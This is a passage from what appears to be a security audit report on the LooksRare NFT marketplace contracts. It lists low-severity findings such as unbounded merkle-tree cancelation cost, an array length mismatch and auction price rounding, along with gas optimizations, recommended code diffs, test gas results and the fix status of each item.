- `askNonce` or `bidNonce` that form a consecutive array of intergers ($1, \cdots, n$) (this would require incrementing these nonces at least n times, if this method was used as a way of canceling the orders).

To cancel these orders, the maker would need to call the `cancelOrderNonces`, `cancelSubsetNonces`, or `incrementBidAskNonces`. If the tree has a high number of nodes, it might be infeasible to cancel all the orders due to gas costs. The maker would be forced to remove its token approvals (if it's not a custom `EIP-1271` maker/signer) and not use that address again to interact with the protocol.

Recommendation: The order cancelation through the different `nonce` setup fails in the above context because there is no limit on the depth/height of the merkle tree. To mitigate this, it would be best to define an upper bound based on some gas analysis (cost of cancelation) on the depth of the tree and also in case different `subsetNonce`, `orderNonce`, `askNonce` or `bidNonce` are used for each order included in the tree (like the example above) to cancel all orders in one shot, we could allow `incrementBidAskNonces` to increment the `askNonce` or `bidNonce` by a random number that would be greater than the maximum number of orders that would be allowed for the biggest tree.

LooksRare: Fixed in PR 357, PR 372, PR 422, PR 430 and PR 440.

Spearbit: Verified.

5.3.18 The `ItemIdsRange` strategy allows for length mismatch in `itemIds` and `amounts`

Severity: Low Risk

Context: StrategyItemIdsRange.sol#L94

Description: There is no validation that `takerAsk.itemIds.length == takerAsk.amounts.length` in the `ItemIdsRange` strategy, despite `takerAsk.itemIds` and `takerAsk.amounts` being the return values of the `executeStrategyWithTakerAsk` function. If `takerAsk.itemIds.length > takerAsk.amounts.length`, then the transaction will revert anyways when it attempts to read an index out of bounds in the main loop. However, there is nothing causing a revert if `takerAsk.itemIds.length < takerAsk.amounts.length`, and any extra values in the `takerAsk.amounts` array will be ignored.

Most likely this issue would be caught later on in any transaction, e.g. the current `TransferManager` implementation checks for length mismatches. However, this `TransferManager` is just one possible implementation that could be added to the `TransferSelectorNFT` contract, so this still could be an issue.

Recommendation: Add an explicit check for length mismatches on the `takerAsk.itemIds` and `takerAsk.amounts` arrays:

```
  if (makerBid.itemIds.length != 2 || makerBid.amounts.length != 1) {
      revert OrderInvalid();
  }

+ if (takerAsk.itemIds.length != takerAsk.amounts.length) {
+     revert OrderInvalid();
+ }
```

LooksRare: Fixed in PR 318 and also in the `Taker` rewrite PR 383

Spearbit: Verified.

5.3.19 Spec mismatch - `StrategyCollectionOffer` allows the only single item orders where the spec states it should allow `any` amount

Severity: Low Risk

Context: StrategyCollectionOffer.sol#L46 StrategyCollectionOffer.sol#L87

Description: `executeCollectionStrategyWithTakerAsk`, `executeCollectionStrategyWithTakerAskWithProof` only allow the transfer of a single `ERC721/ERC1155` item, although the specification states it should support any amount.

Recommendation: While it might be just an oversight or an unclear requirement in the specification, make sure that the spec is aligned with the actual implementation.

LooksRare: Fixed in PR 347.

Spearbit: Verified.

5.3.20 Owner of strategies that inherit from `BaseStrategyChainlinkMultiplePriceFeeds` can add malicious price feeds after they have been added to `LooksRareProtocol`

Severity: Low Risk

Context:

- BaseStrategyChainlinkMultiplePriceFeeds.sol#L49

Description: Owner of strategies that inherit from `BaseStrategyChainlinkMultiplePriceFeeds` can add malicious price feeds for new collections **after** they have been added to `LooksRareProtocol`. It's also important to note that these strategy owners might not neccessarily be the same owner as the `LooksRareProtocol`'s.

1. `LooksRareProtocol`'s O_L adds strategy S.
2. Stragey's owner O_S adds a malicous price feed for a new collection T.

Recommendation: It would be best to enforce that owners of contracts inherited from `BaseStrategyChainlinkMultiplePriceFeeds` are the same as `LooksRareProtocol`'s ($O_L = O_S$) or to make sure that `LooksRareProtocol`'s owner is the only entity that can add new price feeds.

Note that the protocol owner can always deactivate the strategy after the fact by toggling its `isActive` field.

LooksRare: Acknowledged as a risk but will not adjust.

Spearbit: Acknowledged.

5.3.21 The price calculation in `StrategyDutchAuction` can be more accurate

Severity: Low Risk

Context:

- StrategyDutchAuction.sol#L67-L71

Description: `StrategyDutchAuction` calculates the auction `price` as

```
uint256 duration = makerAsk.endTime - makerAsk.startTime;
uint256 decayPerSecond = (startPrice - makerAsk.minPrice) / duration;

uint256 elapsedTime = block.timestamp - makerAsk.startTime;
price = startPrice - elapsedTime * decayPerSecond;
```

One of the shortcomings of the above calculation is that division comes before multiplication which can amplify the error due to division.

Recommendation: It is recommended to perform the `price` calculation like the below.

```
{
  uint256 startTime = makerAsk.startTime;
  uint256 endTime = makerAsk.endTime;

  price = (
    (endTime - block.timestamp) * startPrice +
    (block.timestamp - startTime) * makerAsk.minPrice
  ) / (endTime - startTime);
}
```

LooksRare: Fixed in PR 309.

Spearbit: Verified.

5.3.22 Incorrect `isMakerBidValid` logic in ItemIdsRange execution strategy

Severity: Low Risk

Context: StrategyItemIdsRange.sol#L115

Description: If an ItemIdsRange order has `makerBid.itemIds[0] == 0`, it is treated as invalid by the corresponding `isMakerBidValid` function. Since `makerBid.itemIds[0]` is the `minItemId` value, and since many NFT collections contain NFTs with id 0, this is incorrect (and does not match the logic of the ItemIdsRange `executeStrategyWithTakerAsk` function).

As a consequence, frontends that filter orders based on the `isMakerBidValid` function will ignore certain orders, even though they are valid.

Recommendation: Changing the check to `makerBid.itemIds[1] == 0` is one possible fix, since an order with `maxItemId` of 0 is certainly invalid (as `minItemId` can't possibly be smaller than it). However, `minItemId >= maxItemId` is already checked later on in the function, so it is recommended to simply remove the check altogether:

```
-if (makerBid.itemIds.length != 2 || makerBid.amounts.length != 1 || makerBid.itemIds[0] == 0) {
+if (makerBid.itemIds.length != 2 || makerBid.amounts.length != 1) {
    return (isValid, OrderInvalid.selector);
}
```

LooksRare: Fixed in PR 304.

Spearbit: Verified.

5.4 Gas Optimization

5.4.1 `amount = makerAsk.amounts[i]` can be defined eariler in `StrategyUSDDynamicAsk.executeStrategyWithTakerBid`

Severity: Gas Optimization

Context

- StrategyUSDDynamicAsk.sol#L66-L70

Description `makerAsk.amounts[i]` is used in the `if` statement for order validation prior to being stored in the variable `amount`.

Recommendation Define `amount` earlier in the `executeStrategyWithTakerBid`'s `for` loop to avoid decoding this value from the calldata multiple times (this will be optimized for the valid path/orders):

```
@@ -63,12 +63,12 @@ contract StrategyUSDDynamicAsk is BaseStrategy, BaseStrategyChainlinkPriceLatenc
         }

         for (uint256 i; i < itemIdsLength; ) {
-            if (makerAsk.itemIds[i] != takerBid.itemIds[i] || makerAsk.amounts[i] !=
↪  takerBid.amounts[i]) {
+            uint256 amount = makerAsk.amounts[i];
+
+            if (makerAsk.itemIds[i] != takerBid.itemIds[i] || amount != takerBid.amounts[i]) {
                 revert OrderInvalid();
             }

-            uint256 amount = makerAsk.amounts[i];
-
             if (amount != 1) {
                 if (amount == 0) {
                     revert OrderInvalid();
```

```
testCannotExecuteIfNotWETHOrETH() (gas: -231 (-0.025%))
testUSDDynamicAskBidderOverpaid() (gas: -231 (-0.082%))
testUSDDynamicAskUSDValueLessThanMinAcceptedEthValue() (gas: -231 (-0.082%))
testUSDDynamicAskUSDValueLessThanOneETH() (gas: -231 (-0.082%))
testUSDDynamicAskUSDValueGreaterThanOrEqualToMinAcceptedEthValue() (gas: -231 (-0.082%))
testTakerBidTooLow() (gas: -231 (-0.128%))
testItemIdsMismatch() (gas: 251 (0.144%))
testAmountGreaterThanOneForERC721() (gas: -231 (-0.148%))
testZeroAmount() (gas: -231 (-0.148%))
testOraclePriceNotRecentEnough() (gas: -231 (-0.149%))
testUSDDynamicAskInvalidChainlinkPrice() (gas: -462 (-0.161%))
Overall gas change: -2290 (-0.944%)
```

LooksRare: Not relevant anymore as amount checks have been moved to the transfer manager (see PR 386).

Spearbit: Verified.

5.4.2 Restructure struct definitions in `OrderStructs` in a more optimized format

Severity: Gas Optimization

Context:

- OrderStructs.sol

Description: Maker and taker ask and bid structs include the fields `itemIds` and `amounts`. For most strategies, these two arrays are supposed to have the same length (except for `StrategyItemIdsRange`). Even for `StrategyItemIdsRange` one can either:

- Relax the requirement that `makerBid.amounts.length == 1` (be replaced by `amounts` and `itemIds` length to be equal to `2`) by allowing an unused extra amount or
- not use the `makerBid.amounts` and `makerBid.itemIds` and instead grab those `3` parameters from the `additionalParameters` field. This might actually make more sense since in the case of `StrategyItemIdsRange`, the `itemIds` and `amounts` carry information that deviates from what they are intended to be used for.

Recommendation: Transform the maker and taker bid and ask structs from

```
struct XakerXxx {
  ...
  uint256[] itemIds;
  uint256[] amounts;
  bytes additionalParameters;
}
```

into:

```
struct Item {
  uint256 itemId;
  uint256 amount;
}

struct XakerXxx {
  ...
  Item[] items;
  bytes additionalParameters;
}
```

This has a few benefits:

- The 1-1 correspondence between amounts and item ids is enforced by definition and we can remove the extra checks that currently exists to enforce this (`XakerXxx.amounts.length == XakerXxx.itemIds.length`).
- The calldata and memory encoding of `XakerXxx` will be more compact.

Related issue: *"Constraints among the number of item ids and amounts for taker or maker bids or asks are inconsistent among different strategies"*

LooksRare: We will not implement the Item struct and the removal of itemIds/amounts from taker structs and use additionalParameters when needed. We have added `additionalParameters` for `StrategyItemIdsRange` in PR 340.

Spearbit: Verified.

5.4.3 `if/else` block in `executeMultipleTakerBids` can be simplified/optimized

Severity: Gas Optimization

Context:

- LooksRareProtocol.sol#L208-L222

Description / Recommendation:

`if/else` block in `executeMultipleTakerBids` can be simplified/optimized by using the `continue` keyword and placing the `else`'s body in the outer scope.

```
// If atomic, it uses the executeTakerBid function, if not atomic, it uses a catch/revert pattern with
↪  external function
if (isAtomic) {
    // Execute the transaction and add protocol fee
    totalProtocolFeeAmount += _executeTakerBid(takerBid, makerAsk, msg.sender, orderHash);

    unchecked {
        ++i;
    }
    continue;
}

try this.restrictedExecuteTakerBid(takerBid, makerAsk, msg.sender, orderHash) returns (
    uint256 protocolFeeAmount
) {
    totalProtocolFeeAmount += protocolFeeAmount;
} catch {}

unchecked {
    ++i;
}
```

```
testThreeTakerBidsERC721OneFails() (gas: -24 (-0.002%))
Overall gas change: -24 (-0.002%)
```

LooksRare: Fixed in PR 323.

Spearbit: Verified.

5.4.4 Cache `currency` in `executeTakerAsk` and `executeTakerBid`

Severity: Gas Optimization

Context:

- LooksRareProtocol.sol#L112
- LooksRareProtocol.sol#L139

Description: `currency` is read multiple times from `calldata` in `executeTakerAsk` and `executeTakerBid`.

Recommendation: We can cache `currency` to optimize these 2 functions

```
@@ -116,8 +116,9 @@ contract LooksRareProtocol is
         OrderStructs.MerkleTree calldata merkleTree,
         address affiliate
     ) external nonReentrant {
+        address currency = makerBid.currency;
         // Verify whether the currency is whitelisted but is not ETH (address(0))
-        if (!isCurrencyWhitelisted[makerBid.currency] || makerBid.currency == address(0)) {
+        if (!isCurrencyWhitelisted[currency] || currency == address(0)) {
             revert WrongCurrency();
```

```
        }

@@ -129,7 +130,7 @@ contract LooksRareProtocol is
         uint256 totalProtocolFeeAmount = _executeTakerAsk(takerAsk, makerBid, orderHash);

         // Pay protocol fee (and affiliate fee if any)
-        _payProtocolFeeAndAffiliateFee(makerBid.currency, signer, affiliate, totalProtocolFeeAmount);
+        _payProtocolFeeAndAffiliateFee(currency, signer, affiliate, totalProtocolFeeAmount);
     }

     /**
@@ -142,8 +143,9 @@ contract LooksRareProtocol is
         OrderStructs.MerkleTree calldata merkleTree,
         address affiliate
     ) external payable nonReentrant {
+        address currency = makerAsk.currency;
         // Verify whether the currency is whitelisted
-        if (!isCurrencyWhitelisted[makerAsk.currency]) {
+        if (!isCurrencyWhitelisted[currency]) {
             revert WrongCurrency();
         }

@@ -154,7 +156,7 @@ contract LooksRareProtocol is
         uint256 totalProtocolFeeAmount = _executeTakerBid(takerBid, makerAsk, msg.sender, orderHash);

         // Pay protocol fee amount (and affiliate fee if any)
-        _payProtocolFeeAndAffiliateFee(makerAsk.currency, msg.sender, affiliate,
↪  totalProtocolFeeAmount);
+        _payProtocolFeeAndAffiliateFee(currency, msg.sender, affiliate, totalProtocolFeeAmount);

         // Return ETH if any
         _returnETHIfAnyWithOneWeiLeft();
```

```
testTakerBidMultipleOrdersSignedERC721WrongMerkleProof() (gas: -1 (-0.000%))
testTakerBidMultipleOrdersSignedERC721() (gas: -149 (-0.000%))
testCannotExecuteTransactionIfMakerBidWithStrategyForMakerAsk() (gas: -1 (-0.000%))
testTakerAskMultipleOrdersSignedERC721() (gas: -302 (-0.000%))
testTakerBidTooLow(uint256) (gas: -1 (-0.000%))
testItemIdsMismatch() (gas: -1 (-0.000%))
testStartPriceTooLow() (gas: -1 (-0.000%))
testItemIdsAndAmountsLengthMismatch() (gas: -1 (-0.000%))
testInactiveStrategy() (gas: -1 (-0.000%))
testZeroItemIdsLength() (gas: -1 (-0.000%))
testTakerBidReentrancy() (gas: -1 (-0.000%))
testCannotExecuteIfNotWETHOrETH() (gas: -1 (-0.000%))
testWrongAmounts() (gas: -2 (-0.000%))
testCannotTradeIfWrongCurrency() (gas: -1 (-0.000%))
testCannotTransferIfNoManagerSelectorForAssetType() (gas: -1 (-0.000%))
testCannotTradeIfDomainSeparatorHasBeenUpdated() (gas: -1 (-0.000%))
testCannotTradeIfChainIdHasChanged() (gas: -1 (-0.000%))
testCannotTradeIfWrongAmounts() (gas: -2 (-0.000%))
testFloorFromChainlinkPremiumWrongCurrency() (gas: -1 (-0.000%))
testFloorFromChainlinkPremiumWrongCurrency() (gas: -1 (-0.000%))
testFloorFromChainlinkPremiumBidTooLow() (gas: -1 (-0.000%))
testFloorFromChainlinkPremiumBidTooLow() (gas: -1 (-0.000%))
testCannotExecuteOrderIfWrongUserGlobalAskNonce() (gas: -1 (-0.000%))
testInactiveStrategy() (gas: -1 (-0.000%))
testInactiveStrategy() (gas: -1 (-0.000%))
testFloorFromChainlinkPremiumTakerBidAmountNotOne() (gas: -1 (-0.000%))
testFloorFromChainlinkPremiumTakerBidAmountNotOne() (gas: -1 (-0.000%))
testFloorFromChainlinkPremiumMakerAskTakerBidItemIdsMismatch() (gas: -1 (-0.000%))
```

```
testFloorFromChainlinkPremiumMakerAskTakerBidItemIdsMismatch() (gas: -1 (-0.000%))
testCannotExecuteOrderIfSubsetNonceIsUsed() (gas: -1 (-0.000%))
testFloorFromChainlinkPremiumOraclePriceNotRecentEnough() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumOraclePriceNotRecentEnough() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumMakerAskAmountNotOne() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumMakerAskAmountNotOne() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumMakerAskAmountsLengthNotOne() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumMakerAskAmountsLengthNotOne() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumMakerAskItemIdsLengthNotOne() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumMakerAskItemIdsLengthNotOne() (gas: -1 (-0.001%))
testTakerBidTooLow() (gas: -1 (-0.001%))
testInactiveStrategy() (gas: -1 (-0.001%))
testItemIdsMismatch() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumChainlinkPriceLessThanOrEqualToZero() (gas: -2 (-0.001%))
testFloorFromChainlinkPremiumChainlinkPriceLessThanOrEqualToZero() (gas: -2 (-0.001%))
testFloorFromChainlinkPremiumPriceFeedNotAvailable() (gas: -1 (-0.001%))
testFloorFromChainlinkPremiumPriceFeedNotAvailable() (gas: -1 (-0.001%))
testAmountGreaterThanOneForERC721() (gas: -1 (-0.001%))
testZeroAmount() (gas: -1 (-0.001%))
testOraclePriceNotRecentEnough() (gas: -1 (-0.001%))
testItemIdsAndAmountsLengthMismatch() (gas: -1 (-0.001%))
testUSDDynamicAskInvalidChainlinkPrice() (gas: -2 (-0.001%))
testTakerAskMultipleOrdersSignedERC721WrongMerkleProof() (gas: -154 (-0.001%))
testZeroItemIdsLength() (gas: -1 (-0.001%))
testCannotExecuteTransactionIfMakerAskWithStrategyForMakerBid() (gas: -154 (-0.007%))
testDutchAuction(uint256) (gas: -149 (-0.013%))
testTakerAskCannotExecuteWithWrongProof(uint256) (gas: -154 (-0.013%))
testTakerAskPriceTooHigh() (gas: -154 (-0.013%))
testTakerAskUnsortedItemIds() (gas: -154 (-0.013%))
testTakerAskDuplicatedItemIds() (gas: -154 (-0.013%))
testTakerAskOfferedAmountNotEqualToDesiredAmount() (gas: -154 (-0.013%))
testMakerBidAmountLengthIsNotOne() (gas: -154 (-0.013%))
testInactiveStrategy() (gas: -154 (-0.013%))
testInactiveStrategy() (gas: -154 (-0.014%))
testTakerAskReentrancy() (gas: -154 (-0.015%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -154 (-0.017%))
testTakerBidERC721BundleWithRoyaltiesFromRegistry() (gas: -149 (-0.019%))
testCreatorRoyaltiesRevertIfFeeHigherThanLimit() (gas: -155 (-0.021%))
testTakerBidERC721WithRoyaltiesFromRegistry(uint256) (gas: -149 (-0.021%))
testTakerBidERC721BundleNoRoyalties() (gas: -149 (-0.021%))
testTakerBidERC721WithRoyaltiesFromRegistryWithDelegation() (gas: -149 (-0.021%))
testTakerBidERC721WithAffiliateButWithoutRoyalty() (gas: -149 (-0.022%))
testTakerAskCollectionOrderWithMerkleTreeERC721() (gas: -302 (-0.023%))
testTokenIdsRangeERC721() (gas: -302 (-0.024%))
testTakerBidERC721WithAddressZeroSpecifiedAsRecipient(uint256) (gas: -149 (-0.024%))
testMakerBidItemIdsLengthIsNotTwo() (gas: -308 (-0.025%))
testCannotExecuteAnOrderWhoseNonceIsCancelled() (gas: -154 (-0.025%))
testTakerAskRevertIfAmountIsZeroOrGreaterThanOneERC721() (gas: -308 (-0.026%))
testMakerBidItemIdsLowerBandHigherThanOrEqualToUpperBand() (gas: -308 (-0.026%))
testTokenIdsRangeERC1155() (gas: -302 (-0.026%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -302 (-0.028%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -302 (-0.030%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -308 (-0.031%))
testZeroAmount() (gas: -154 (-0.031%))
testBidAskAmountMismatch() (gas: -154 (-0.032%))
testPriceMismatch() (gas: -154 (-0.032%))
testCannotExecuteAnotherOrderAtNonceIfExecutionIsInProgress() (gas: -456 (-0.036%))
testCreatorRebatesArePaidForRoyaltyFeeManagerWithBundles() (gas: -302 (-0.037%))
testCreatorRoyaltiesGetPaidForRoyaltyFeeManagerWithBundles() (gas: -302 (-0.037%))
testMultiFill() (gas: -604 (-0.039%))
testTakerAskERC721BundleWithRoyaltiesFromRegistry() (gas: -302 (-0.039%))
testTakerBidCannotTransferSandboxWithERC721AssetTypeButERC1155AssetTypeWorks() (gas: -150 (-0.041%))
```

```
testTakerAskERC721WithRoyaltiesFromRegistryWithDelegation() (gas: -302 (-0.043%))
testTakerAskERC721BundleNoRoyalties() (gas: -302 (-0.044%))
testTakerAskERC721WithRoyaltiesFromRegistry(uint256) (gas: -302 (-0.044%))
testCreatorRoyaltiesGetPaidForRoyaltyFeeManager() (gas: -302 (-0.045%))
testCreatorRebatesArePaidForRoyaltyFeeManager() (gas: -302 (-0.045%))
testTakerAskERC721WithAffiliateButWithoutRoyalty() (gas: -302 (-0.046%))
testCreatorRoyaltiesGetPaidForERC2981() (gas: -302 (-0.046%))
testCreatorRebatesArePaidForERC2981() (gas: -302 (-0.046%))
testTakerBidGasGriefing() (gas: -149 (-0.046%))
testFloorFromChainlinkPremiumBasisPointsDesiredSalePriceLessThanMinPrice() (gas: -149 (-0.047%))
testFloorFromChainlinkPremiumFixedAmountDesiredSalePriceEqualToMinPrice() (gas: -149 (-0.047%))
testFloorFromChainlinkPremiumFixedAmountDesiredSalePriceLessThanMinPrice() (gas: -149 (-0.047%))
testFloorFromChainlinkPremiumFixedAmountDesiredSalePriceGreaterThanMinPrice() (gas: -149 (-0.047%))
testFloorFromChainlinkPremiumBasisPointsDesiredSalePriceGreaterThanMinPrice() (gas: -149 (-0.048%))
testFloorFromChainlinkPremiumBasisPointsDesiredSalePriceEqualToMinPrice() (gas: -149 (-0.048%))
testTakerAskCollectionOrderERC721(uint256) (gas: -302 (-0.050%))
testTakerAskERC721WithAddressZeroSpecifiedAsRecipient(uint256) (gas: -302 (-0.051%))
testUSDDynamicAskBidderOverpaid() (gas: -149 (-0.053%))
testUSDDynamicAskUSDValueLessThanMinAcceptedEthValue() (gas: -149 (-0.053%))
testUSDDynamicAskUSDValueLessThanOneETH() (gas: -149 (-0.053%))
testUSDDynamicAskUSDValueGreaterThanOrEqualToMinAcceptedEthValue() (gas: -149 (-0.053%))
testAmountsMismatch() (gas: -308 (-0.054%))
testItemIdsLengthNotOne() (gas: -308 (-0.054%))
testAmountsLengthNotOne() (gas: -308 (-0.054%))
testCannotExecuteAnOrderTwice() (gas: -456 (-0.067%))
testFloorFromChainlinkDiscountWrongCurrency() (gas: -154 (-0.072%))
testFloorFromChainlinkDiscountWrongCurrency() (gas: -154 (-0.072%))
testFloorFromChainlinkDiscountAskTooHigh() (gas: -154 (-0.073%))
testFloorFromChainlinkDiscountAskTooHigh() (gas: -154 (-0.073%))
testInactiveStrategy() (gas: -154 (-0.073%))
testFloorFromChainlinkDiscountBasisPointsDesiredDiscountBasisPointsEqualTo10000() (gas: -154 (-0.073%))
testInactiveStrategy() (gas: -154 (-0.074%))
testFloorFromChainlinkDiscountTakerAskZeroAmount() (gas: -154 (-0.074%))
testFloorFromChainlinkDiscountTakerAskZeroAmount() (gas: -154 (-0.075%))
testFloorFromChainlinkDiscountTakerAskAmountsLengthNotOne() (gas: -154 (-0.075%))
testFloorFromChainlinkDiscountTakerAskAmountsLengthNotOne() (gas: -154 (-0.075%))
testFloorFromChainlinkDiscountTakerAskItemIdsLengthNotOne() (gas: -154 (-0.075%))
testFloorFromChainlinkDiscountTakerAskItemIdsLengthNotOne() (gas: -154 (-0.075%))
testCannotExecuteOrderIfWrongUserGlobalBidNonce() (gas: -154 (-0.079%))
testFloorFromChainlinkDiscountOraclePriceNotRecentEnough() (gas: -154 (-0.081%))
testFloorFromChainlinkDiscountOraclePriceNotRecentEnough() (gas: -154 (-0.082%))
testFloorFromChainlinkDiscountMakerBidAmountNotOne() (gas: -154 (-0.082%))
testFloorFromChainlinkDiscountMakerBidAmountNotOne() (gas: -154 (-0.082%))
testFloorFromChainlinkDiscountMakerBidAmountsLengthNotOne() (gas: -154 (-0.083%))
testFloorFromChainlinkDiscountMakerBidAmountsLengthNotOne() (gas: -154 (-0.083%))
testWrongAmounts() (gas: -616 (-0.084%))
testFloorFromChainlinkDiscountChainlinkPriceLessThanOrEqualToZero() (gas: -308 (-0.091%))
testFloorFromChainlinkDiscountChainlinkPriceLessThanOrEqualToZero() (gas: -308 (-0.091%))
testFloorFromChainlinkDiscountPriceFeedNotAvailable() (gas: -154 (-0.093%))
testFloorFromChainlinkDiscountPriceFeedNotAvailable() (gas: -154 (-0.093%))
testFloorFromChainlinkDiscountBasisPointsDesiredDiscountedPriceGreaterThanOrEqualToMaxPrice() (gas:
↪  -302 (-0.097%))
testFloorFromChainlinkDiscountBasisPointsDesiredDiscountedPriceLessThanMaxPrice() (gas: -302 (-0.097%))
testFloorFromChainlinkDiscountFixedAmountDesiredDiscountedPriceGreaterThanOrEqualToMaxPrice() (gas:
↪  -302 (-0.098%))
testFloorFromChainlinkDiscountFixedAmountDesiredDiscountedPriceLessThanMaxPrice() (gas: -302 (-0.098%))
testMerkleRootLengthIsNot32() (gas: -154 (-0.107%))
testCannotTradeIfETHIsUsedForMakerBid() (gas: -154 (-0.108%))
testFloorFromChainlinkDiscountFixedAmountDesiredDiscountedAmountGreaterThanOrEqualToFloorPrice() (gas:
↪  -308 (-0.112%))
testTakerAskCannotTransferSandboxWithERC721AssetTypeButERC1155AssetTypeWorks() (gas: -456 (-0.128%))
testCannotValidateOrderIfWrongFormat() (gas: -930 (-0.161%))
```

```
testCannotValidateOrderIfWrongTimestamps() (gas: -462 (-0.183%))
Overall gas change: -23356 (-5.321%)
```

LooksRare: Fixed in PR 323.

Spearbit: Verfied.

5.4.5 Cache `operators[i]` in `grantApprovals` and `revokeApprovals`

Severity: Gas Optimization

Context:

- TransferManager.sol#L177-L192
- TransferManager.sol#L207-L216

Description: `operators[i]` is used 3 times in `grantApprovals`'s (and twice in `revokeApprovals`) `for` loop.

Recommendation: One can optimize the loop by caching `operators[i]`:

```
@@ -175,15 +175,16 @@ contract TransferManager is ITransferManager, LowLevelERC721Transfer, LowLevelER
         }

         for (uint256 i; i < length; ) {
-            if (!isOperatorWhitelisted[operators[i]]) {
+            address operator = operators[i];
+            if (!isOperatorWhitelisted[operator]) {
                 revert NotWhitelisted();
             }

-            if (hasUserApprovedOperator[msg.sender][operators[i]]) {
+            if (hasUserApprovedOperator[msg.sender][operator]) {
                 revert AlreadyApproved();
             }

-            hasUserApprovedOperator[msg.sender][operators[i]] = true;
+            hasUserApprovedOperator[msg.sender][operator] = true;

             unchecked {
                 ++i;
@@ -205,11 +206,12 @@ contract TransferManager is ITransferManager, LowLevelERC721Transfer, LowLevelER
         }

         for (uint256 i; i < length; ) {
-            if (!hasUserApprovedOperator[msg.sender][operators[i]]) {
+            address operator = operators[i];
+            if (!hasUserApprovedOperator[msg.sender][operator]) {
                 revert NotApproved();
             }

-            delete hasUserApprovedOperator[msg.sender][operators[i]];
+            delete hasUserApprovedOperator[msg.sender][operator];
             unchecked {
                 ++i;
             }
```

```
testUserCannotGrantApprovalsIfNotWhitelisted() (gas: -1 (-0.008%))
testUserCannotRevokeApprovalsIfNotApproved() (gas: 2 (0.017%))
testCannotExecuteTransactionIfMakerBidWithStrategyForMakerAsk() (gas: -884 (-0.039%))
testCannotExecuteTransactionIfMakerAskWithStrategyForMakerBid() (gas: -884 (-0.039%))
testExecuteMultipleTakerBidsReentrancy() (gas: -442 (-0.040%))
testTakerBidReentrancy() (gas: -442 (-0.043%))
```

```
testTakerAskReentrancy() (gas: -442 (-0.044%))
testMultipleTakerBidsERC721WithAffiliateButWithoutRoyalty() (gas: -884 (-0.060%))
testTakerAskCollectionOrderWithMerkleTreeERC721() (gas: -884 (-0.069%))
testCannotExecuteAnotherOrderAtNonceIfExecutionIsInProgress() (gas: -884 (-0.070%))
testTokenIdsRangeERC721() (gas: -884 (-0.070%))
testMakerBidItemIdsLengthIsNotTwo() (gas: -884 (-0.072%))
testTakerAskCannotExecuteWithWrongProof(uint256) (gas: -884 (-0.074%))
testTakerAskRevertIfAmountIsZeroOrGreaterThanOneERC721() (gas: -884 (-0.074%))
testMakerBidItemIdsLowerBandHigherThanOrEqualToUpperBand() (gas: -884 (-0.074%))
testWrongAmounts() (gas: -884 (-0.075%))
testDutchAuction(uint256) (gas: -884 (-0.076%))
testTokenIdsRangeERC1155() (gas: -884 (-0.076%))
testTakerAskPriceTooHigh() (gas: -884 (-0.076%))
testTakerAskUnsortedItemIds() (gas: -884 (-0.076%))
testTakerAskDuplicatedItemIds() (gas: -884 (-0.076%))
testTakerAskOfferedAmountNotEqualToDesiredAmount() (gas: -884 (-0.076%))
testMakerBidAmountLengthIsNotOne() (gas: -884 (-0.077%))
testInactiveStrategy() (gas: -884 (-0.077%))
testInactiveStrategy() (gas: -884 (-0.079%))
testTakerBidTooLow(uint256) (gas: -884 (-0.080%))
testItemIdsMismatch() (gas: -884 (-0.081%))
testStartPriceTooLow() (gas: -884 (-0.081%))
testItemIdsAndAmountsLengthMismatch() (gas: -884 (-0.081%))
testInactiveStrategy() (gas: -884 (-0.081%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -884 (-0.082%))
testThreeTakerBidsERC721OneFails() (gas: -884 (-0.085%))
testZeroItemIdsLength() (gas: -884 (-0.085%))
testMultiFill() (gas: -1326 (-0.086%))
testCreatorRoyaltiesGetPaidForERC2981WithBundles() (gas: -884 (-0.088%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -884 (-0.090%))
testCreatorRoyaltiesRevertForEIP2981WithBundlesIfInfoDiffer() (gas: -884 (-0.096%))
testCreatorRebatesArePaidForRoyaltyFeeManagerWithBundles() (gas: -884 (-0.107%))
testCreatorRoyaltiesGetPaidForRoyaltyFeeManagerWithBundles() (gas: -884 (-0.107%))
testTakerBidERC721BundleWithRoyaltiesFromRegistry() (gas: -884 (-0.114%))
testThreeTakerBidsERC721() (gas: -884 (-0.114%))
testTakerAskERC721BundleWithRoyaltiesFromRegistry() (gas: -884 (-0.115%))
testCreatorRoyaltiesRevertIfFeeHigherThanLimit() (gas: -884 (-0.121%))
testWrongAmounts() (gas: -884 (-0.121%))
testTakerAskERC721WithRoyaltiesFromRegistryWithDelegation() (gas: -884 (-0.125%))
testTakerBidERC721BundleNoRoyalties() (gas: -884 (-0.127%))
testTakerBidERC721WithRoyaltiesFromRegistryWithDelegation() (gas: -884 (-0.127%))
testTakerAskERC721BundleNoRoyalties() (gas: -884 (-0.128%))
testTakerBidERC721WithRoyaltiesFromRegistry(uint256) (gas: -904 (-0.130%))
testCannotExecuteAnOrderTwice() (gas: -884 (-0.130%))
testCreatorRoyaltiesGetPaidForRoyaltyFeeManager() (gas: -884 (-0.131%))
testCreatorRebatesArePaidForRoyaltyFeeManager() (gas: -884 (-0.131%))
testTakerBidERC721WithAffiliateButWithoutRoyalty() (gas: -884 (-0.132%))
testTakerAskERC721WithAffiliateButWithoutRoyalty() (gas: -884 (-0.134%))
testTakerAskERC721WithRoyaltiesFromRegistry(uint256) (gas: -924 (-0.135%))
testCreatorRoyaltiesGetPaidForERC2981() (gas: -884 (-0.135%))
testCreatorRebatesArePaidForERC2981() (gas: -884 (-0.136%))
testCannotExecuteMultipleTakerBidsIfDifferentCurrencies() (gas: -884 (-0.141%))
testTakerBidERC721WithAddressZeroSpecifiedAsRecipient(uint256) (gas: -884 (-0.144%))
testCannotExecuteAnOrderWhoseNonceIsCancelled() (gas: -884 (-0.145%))
